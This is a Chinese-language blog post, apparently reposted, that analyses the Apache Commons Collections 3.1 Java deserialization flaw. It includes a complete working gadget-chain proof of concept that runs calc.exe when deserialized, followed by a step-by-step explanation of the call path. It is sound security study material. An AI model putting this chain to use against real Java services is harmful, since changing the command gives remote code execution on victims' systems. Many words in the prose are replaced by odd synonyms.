Apache Commons Collections反序列化漏洞
目录[*]复现
[*]环境准备
[*]POC
[*]漏洞原理分析
[*]构造反射链
[*]TransformedMap利用链
Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是 java 汗青上最出名同时也是最具有代表性的反序列化漏洞。
复现
环境准备
[*]jdk 1.7 版本
下载压缩包链接:https://pan.baidu.com/s/1jdS4L9Yi4Gtrn8NYgwDhNQ 提取码:l2wv
[*]commons-collections-3.1 jar
下载Jar包链接:https://nowjava.com/jar/detail/m02261225/commons-collections-3.1.jar.html
POC
直接看其他师傅们的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502200411429-108234847.png
上面的复现利用的 payload 颠末反序列化过后会执行:Runtime.getRuntime().exec("calc.exe"),造成了本地命令执行,接下来就一步步探究这个漏洞是怎样产生的。
漏洞原理分析
构造反射链
看到这个POC,起首关注 InvokerTransformer 这个对象,它是执行恶意代码的主要问题所在。起首看看这个类的构造函数,其中 this.iMethodName 是方法名, this.iParamTypes 是参数类型,this.iArgs 是参数的值。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502180545086-822460418.png
它的 transform 方法很显着调用了 java 的反射机制,传入 input 是类名,利用反射拿到类名和方法名。方法的参数和类型是我们可以通过构造函数直接传入的。如今只要 input 也是可控的,那我们就可以执行恣意对象的恣意方法。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502175902579-13398880.png
我们的目标是到达远程执行命令的效果,所以如今就是想办法直接传入 Runtime 类的实例对象。
巧的是,有个类 ChainedTransformer,该类中也有一个 transform 方法:
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502182930261-238910708.png
该类的构造函数接收一个 Transformer 类型的数组,并且在 transform 方法中会遍历这个数组,并调用数组中的每一个成员的 transform 方法。
还有一个类 ConstantTransformer,它同样有一个 transform 方法,就是返回 iConstant,而 this.iConstant 又来自它的构造函数。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502183938324-1011063143.png
所以我们实例化 ConstantTransformer 时传入一个 Runtime.class 返回的也是 Runtime.class。
到这里已经介绍了三个 transfromer 类和三个 transform 方法:
InvokerTransformerConstantTransformerChainedTransformer构造函数接受三个参数构造函数接受一个参数构造函数接受一个TransFormer类型的数组transform方法通过反射可以执行一个对象的恣意方法transform返回构造函数传入的参数transform方法执行构造函数传入数组的每一个成员的transform方法如今尝试把这几个 transformer 组合起来构造一个执行链:
// TransFormer 类型的数组
Transformer[] transformers_exec = new Transformer[]{
// 传入 Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod 方法,然后 getMethod 方法再反射调用 getRuntime 方法,返回 Runtime.getRuntime() 方法
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// 反射调用 invoke 方法,然后反射执行 Runtime.getRuntime() 方法,返回 Runtime 实例化对象
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
// 反射调用 exec 方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers_exec);这样一个反射链条就构造好了,给一个初始的 object,然后输出作为下一个输入,从而实现链式调用。
大致过程如下:
[*]ChianedTransformer 的 transform 是一个循环调用该类里面的 transformer 的 transform 方法
[*]起首调用 ConstantTransformer("java.Runtime")
[*]第一次调用 InvokerTransformer 对象 getMethod("getRuntime",null) 方法,参数为 ("java.Runtime") 会返回一个Runtime.getRuntime()方法,但还没有执行
[*]第二次调用 InvokerTransformer 对象 Invoke(null,null) 方法,参数为 Runtime.getRuntime(),那么会返回一个 Runtime 对象实例
[*]第三次调用 InvokerTransformer 对象 exec("clac.exe") 方法,参数为一个 Runtime 的对象实例,调用了对象的方法,会执行弹出计算器操作
反射链就构造完毕了,如今要做的就是怎么触发 ChainedTransformer 的 transform 方法。
TransformedMap利用链
存在一些类,如 TransformedMap和 AnnotationInvocationHandler,重写 readObject() 方法,在反序列化时会主动执行这些方法,来到达触发transform 方法的目的。
在 TransformedMap 类中的三个方法 transformKey、transformValue 和 checkSetValue 都会触发 transform 方法。
如今找到了能够触发 transform 的地方,但是这照旧不能在反序列化的时候主动触发。在反序列化只会主动触发 readObject() 方法,所以如今需要找一个类重写了 readObject()。
在 TransformedMap 里的每个 entryset 在调用 setValue 方法时会主动调用 TransformedMap 类的 checkSetValue 方法。
那么就要探求这样一个类:这个类的 readObject 方法中对某个 Map 类型的属性的 entry 进行了 setValue 操作。
恰好就有这个类 AbstractInputCheckedMapDecorator, 调用 java 的自带类 AnnotationInvocationHandler 中重写的 readObject 方法,该方法调用时会先将 map 转为 Map.entry,然后执行 setvalue 操作。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502203752102-1921565911.png
执行 setValue() 方法,就会到 checkSetValue() 方法:
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502204214293-1645058377.png
到 checkSetValue() 方法,就会执行 transform 方法,从而实现整个利用链。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240502204810781-356582859.png
综上所述整个调用链:
[*]->ObjectInputStream.readObject()
[*]->AnnotationInvocationHandler.readObject()
[*]->TransformedMap.entrySet().iterator().next().setValue()
[*]->TransformedMap.checkSetValue()
[*]->TransformedMap.transform()
[*]->ChainedTransformer.transform()
对于 jdk 1.8 来说,AnnotationInvocationHandler 类中的这个关键的触发点 setValue 发生了改变。所以就无法利用了。
jdk 1.8 有一个 LazyMap 利用链。
参考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711
若有错误,欢迎指正!o( ̄▽ ̄)ブ
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]